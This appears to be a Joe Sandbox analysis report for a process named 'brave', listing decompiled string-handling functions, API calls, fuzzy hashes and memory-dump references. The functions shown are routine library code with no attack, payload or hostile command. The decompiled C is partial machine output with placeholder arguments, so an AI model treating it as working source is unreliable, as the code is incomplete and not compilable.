Part of subcall function 00007FF69F82DEF0: memcpy.MSVCRT ref: 00007FF69F82DFC1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82F37A, 00007FF69F82F3DD, 00007FF69F82F41F, 00007FF69F82F463, 00007FF69F82F4C3, 00007FF69F82F4DC, 00007FF69F82F523
basic_string::insert, xrefs: 00007FF69F82F4BC, 00007FF69F82F51C
basic_string::replace, xrefs: 00007FF69F82F373, 00007FF69F82F3D6, 00007FF69F82F418, 00007FF69F82F45C, 00007FF69F82F4D5

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 1844840824-3628603605
Opcode ID: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction ID: 22e3ad8cbca81ac99153995833fee678a93ae6315240da5e50a738deda529503
Opcode Fuzzy Hash: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction Fuzzy Hash: 15411362F09A8AC1EA60EB2ADC404ED6360FB55FC4F8144B7ED0C83765EE6CE146D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82C170 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF69F82C170(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0x9f82c19a;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF67FF69F82AE20(_t5, _t6, __rcx, __rdx -  *__rcx,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff69f82c185
0x7ff69f82c187
0x7ff69f82c18c
0x7ff69f82c199

APIs

strlen.MSVCRT ref: 00007FF69F82C1D5

Part of subcall function 00007FF69F82AE20: memcpy.MSVCRT ref: 00007FF69F82AEC5
Part of subcall function 00007FF69F82AE20: memcpy.MSVCRT ref: 00007FF69F82AEF0

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82C1A7, 00007FF69F82C20D, 00007FF69F82C24F, 00007FF69F82C293, 00007FF69F82C2F5, 00007FF69F82C30E, 00007FF69F82C353
basic_string::insert, xrefs: 00007FF69F82C2EE, 00007FF69F82C34C
basic_string::replace, xrefs: 00007FF69F82C1A0, 00007FF69F82C206, 00007FF69F82C248, 00007FF69F82C28C, 00007FF69F82C307

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 2619041689-3628603605
Opcode ID: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction ID: a0043342f82d458b647de153aa5bd5e97ff2a2248b0a8d2464005b6f4bef19c6
Opcode Fuzzy Hash: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction Fuzzy Hash: CB412765E09A8AC5EAA0EBA6DC404E96370FF55BD4F814473DD0C9376AEF2CE542D700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82EEA0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69F82EF05
memcpy.MSVCRT ref: 00007FF69F82EFDA

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82EF64
basic_string::append, xrefs: 00007FF69F82EF5D, 00007FF69F82F039

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction ID: fc78fa9d739d2dbc159b25fbe06471b6304197392aea35f8167dfe1b4962085f
Opcode Fuzzy Hash: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction Fuzzy Hash: DC41E1A2B19A9680DE60DB19C5044FC6370FB45BC4B9A45B2EE1D837A1EF3EF242D304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82BCF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF69F82BD55
memcpy.MSVCRT ref: 00007FF69F82BE27

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F82BDB9
basic_string::append, xrefs: 00007FF69F82BDB2, 00007FF69F82BE7C

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction ID: 3afda00c033651d7e222e7ff047ec97591ff96574dc3a1d4e02b8871fb515915
Opcode Fuzzy Hash: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
Instruction Fuzzy Hash: E74106A3B0AA8981DE70DB19D9485F92378FB45BD0F964071DE5D87392DE2EE042E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F827CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F827CE0(intOrPtr* __r8, void* __r9, intOrPtr _a40) {
				void* _t8;
				void* _t22;
				intOrPtr* _t25;
				char* _t27;
				int _t28;
				int _t30;
				intOrPtr _t40;
				void* _t47;
				intOrPtr _t49;

				_t40 =  *((intOrPtr*)( *__r8 - 0x18));
				_t47 =  >  ? _a40 : _t40 - __r9;
				if (__r9 - _t40 > 0) goto 0x9f827d12;
				goto 0x9f827b40;
				_t27 = "basic_string::insert";
				_t25 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
				E00007FF67FF69F831250(_t8, __r9 - _t40, __r9, _t25, _t27, __r9,  *__r8 + __r9);
				_t49 =  *((intOrPtr*)( *_t25 - 0x18));
				if (_t27 - _t49 > 0) goto 0x9f827db0;
				if (__r9 - 0xfffffff9 - _t49 > 0) goto 0x9f827dc6;
				r8d = 0;
				E00007FF67FF69F828580(_t25, _t27, __r9, __r9);
				if (__r9 == 0) goto 0x9f827d8c;
				if (__r9 == 1) goto 0x9f827da0;
				return memset(_t22, _t30, _t28);
			}

0x7ff69f827cec
0x7ff69f827cfc
0x7ff69f827d03
0x7ff69f827d0d
0x7ff69f827d15
0x7ff69f827d1f
0x7ff69f827d26
0x7ff69f827d3f
0x7ff69f827d4f
0x7ff69f827d61
0x7ff69f827d66
0x7ff69f827d69
0x7ff69f827d71
0x7ff69f827d7e
0x7ff69f827d98

APIs

memset.MSVCRT ref: 00007FF69F827D87

Strings

basic_string::insert, xrefs: 00007FF69F827D15, 00007FF69F827DBA
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F827D1F, 00007FF69F827DB3
basic_string::_M_replace_aux, xrefs: 00007FF69F827DC6

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memset
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_replace_aux$basic_string::insert
API String ID: 2221118986-1339558951
Opcode ID: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction ID: 6e888a3a03a65a5b46c6668096b47200837e3d19787186e8352ee8fcf744bbaa
Opcode Fuzzy Hash: 76e07345fcce7906114913821502996534838701bb96e1ead79225c16b90c7dc
Instruction Fuzzy Hash: 2931E866F0964685EA60DB179A414EC6360EB49FE0F894A72DF2C83395ED3DF582D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F830C80 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF69F830C92
memcpy.MSVCRT ref: 00007FF69F830CE4
memcpy.MSVCRT ref: 00007FF69F830D94

Strings

basic_string::append, xrefs: 00007FF69F830D3A

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction ID: 5f58a86b9af3e38d3ac418ea27ae13c76e75546ab6a2ffff75df7ba7299b9cc1
Opcode Fuzzy Hash: 148ea95ba2453b8e9f4c57894deee56eaa111a687ced5c9b40be94197a186ef0
Instruction Fuzzy Hash: 4131AE62B29A4580DEA0DB15D5085BD23B1FF45BC8B9A8672EE1DC73A0DF7CE442D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8318C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

malloc.MSVCRT(?,?,FFFFFFFF,00007FF69F827139,?,?,FFFFFFFF,00007FF69F826BB5,?,00000000,basic_string::_M_create,00007FF69F82A151), ref: 00007FF69F8318D4

Part of subcall function 00007FF69F8319A0: malloc.MSVCRT(?,?,?,?,00007FF69F8323B5,?,?,?,?,00007FF69F803C24), ref: 00007FF69F8319B1

malloc.MSVCRT(?,?,?,?,?,?,?,00007FF69F827139,?,?,FFFFFFFF,00007FF69F826BB5,?,00000000,basic_string::_M_create,00007FF69F82A151), ref: 00007FF69F83193A

Strings

basic_string::_M_create, xrefs: 00007FF69F8319A0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID: basic_string::_M_create
API String ID: 2803490479-3122258987
Opcode ID: 4b7b9b0c657b2bedbbe5b7b4e114ee3aa089cd27d8a34a41591c0c705e869eea
Instruction ID: 27ebce24a9131aa469911d7f478b518f8a51778b68eb15227c58ea763de9239b
Opcode Fuzzy Hash: 4b7b9b0c657b2bedbbe5b7b4e114ee3aa089cd27d8a34a41591c0c705e869eea
Instruction Fuzzy Hash: 4921C421F16B4585FEA8A765A6113F823B0EF48BA4F9A06B4CE2D863D6DF7C6145D300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82DC10 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 102stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF69F82DC22
memcpy.MSVCRT ref: 00007FF69F82DC72
memcpy.MSVCRT ref: 00007FF69F82DD21

Strings

basic_string::append, xrefs: 00007FF69F82DCCD

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction ID: 50ff57bd6f335d1aa001cae2991c41c4689274ee4d36f4aabc166006bc7066c9
Opcode Fuzzy Hash: 053ff8a127323fabc25172c75465cfa7311902f130f2a5a7fc06635915c12a55
Instruction Fuzzy Hash: A431E7A3609A8581EBB0CB19D5485B93774FB46BD4F9A41B2DD5D87381DE2DE043E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F828580 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 31%

			E00007FF67FF69F828580(long long* __rcx, void* __rdx, void* __r8, void* __r9) {
				void* _v73;
				void* _t16;
				intOrPtr _t23;
				intOrPtr _t24;
				long long* _t25;
				long long _t37;
				intOrPtr _t38;
				long long _t45;

				_t23 =  *((intOrPtr*)(__rcx));
				_t38 =  *((intOrPtr*)(_t23 - 0x18));
				_t25 = __rcx;
				_t37 = __r9 - __r8 + _t38;
				if (_t37 -  *((intOrPtr*)(_t23 - 0x10)) > 0) goto 0x9f8285cb;
				if ( *((intOrPtr*)(_t23 - 8)) <= 0) goto 0x9f828660;
				_t24 =  *((intOrPtr*)(__rcx));
				E00007FF67FF69F8270D0(_t16, _t37,  *((intOrPtr*)(_t24 - 0x10)));
				if (__rdx == 0) goto 0x9f828600;
				_t8 = _t24 + 0x18; // 0x18
				_t45 = _t8;
				if (__rdx == 1) goto 0x9f8286a0;
				memcpy(??, ??, ??);
				if (_t38 - __r8 + __rdx != 0) goto 0x9f828640;
				asm("lock xadd [ecx-0x8], eax");
				if (0xffffffff <= 0) goto 0x9f828690;
				 *_t25 = _t45;
				 *((intOrPtr*)(_t45 - 8)) = 0;
				 *((long long*)(_t45 - 0x18)) = _t37;
				 *((char*)(_t45 + _t37)) = 0;
				return 0xffffffff;
			}

0x7ff69f828590
0x7ff69f828593
0x7ff69f8285a8
0x7ff69f8285ae
0x7ff69f8285b7
0x7ff69f8285be
0x7ff69f8285c4
0x7ff69f8285d3
0x7ff69f8285e2
0x7ff69f8285e7
0x7ff69f8285e7
0x7ff69f8285ef
0x7ff69f8285fb
0x7ff69f828603
0x7ff69f82860d
0x7ff69f828614
0x7ff69f828616
0x7ff69f828619
0x7ff69f828622
0x7ff69f828627
0x7ff69f82863c

APIs

memcpy.MSVCRT ref: 00007FF69F8285FB
memcpy.MSVCRT ref: 00007FF69F828681

Strings

basic_string::_M_create, xrefs: 00007FF69F828586

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::_M_create
API String ID: 3510742995-3122258987
Opcode ID: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction ID: cbc8bddcd3c9f5a6632b6cd60f8aca8e7669df11c0cb23cf970fc7a32c836a35
Opcode Fuzzy Hash: 52dd81f1854489c19ed0bec846985ecada794f828c33243cca3a44cf1c7bc96e
Instruction Fuzzy Hash: D931A462B0998299DAA19E29960C6BD2770FB11FC4F5A4073DE1C87392DF2EE453E341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F827770 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF69F827770(long long* __rcx, void* __rdx, void* __r8) {
				intOrPtr _t15;
				void* _t18;

				_t15 =  *((intOrPtr*)(__rcx));
				_t18 = __r8;
				if (__r8 - 0xfffffff9 > 0) goto 0x9f827885;
				if (_t15 - __rdx > 0) goto 0x9f8277c0;
				if (_t15 +  *((intOrPtr*)(_t15 - 0x18)) - __rdx < 0) goto 0x9f8277c0;
				if ( *((intOrPtr*)(_t15 - 8)) <= 0) goto 0x9f8277f8;
				E00007FF67FF69F828580(__rcx, _t15 +  *((intOrPtr*)(_t15 - 0x18)),  *((intOrPtr*)( *((intOrPtr*)(__rcx)) - 0x18)), __r8);
				if (_t18 == 0) goto 0x9f8277e7;
				if (_t18 == 1) goto 0x9f827840;
				return memcpy(??, ??, ??);
			}

0x7ff69f827779
0x7ff69f82777f
0x7ff69f827796
0x7ff69f82779f
0x7ff69f8277a8
0x7ff69f8277af
0x7ff69f8277c8
0x7ff69f8277d0
0x7ff69f8277da
0x7ff69f8277f3

APIs

memcpy.MSVCRT ref: 00007FF69F8277E2
memcpy.MSVCRT ref: 00007FF69F82781C

Strings

basic_string::assign, xrefs: 00007FF69F827885

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy
String ID: basic_string::assign
API String ID: 3510742995-2385367300
Opcode ID: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction ID: 469a9590e7ec2f0a647b09609436d820bf816088b357c0ac4845fed5ec55cbde
Opcode Fuzzy Hash: fb17081675a219e1f0fc3f775fff8980a65a6587ebdc272469192e30fdad70a3
Instruction Fuzzy Hash: BB31E726B0568544EEA08A1786041FD2BB0FB49BC5F9E44B2CE2C87391DE3EF441D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8217C0 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00007FF69F82181A
MultiByteToWideChar.KERNEL32 ref: 00007FF69F82185A

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

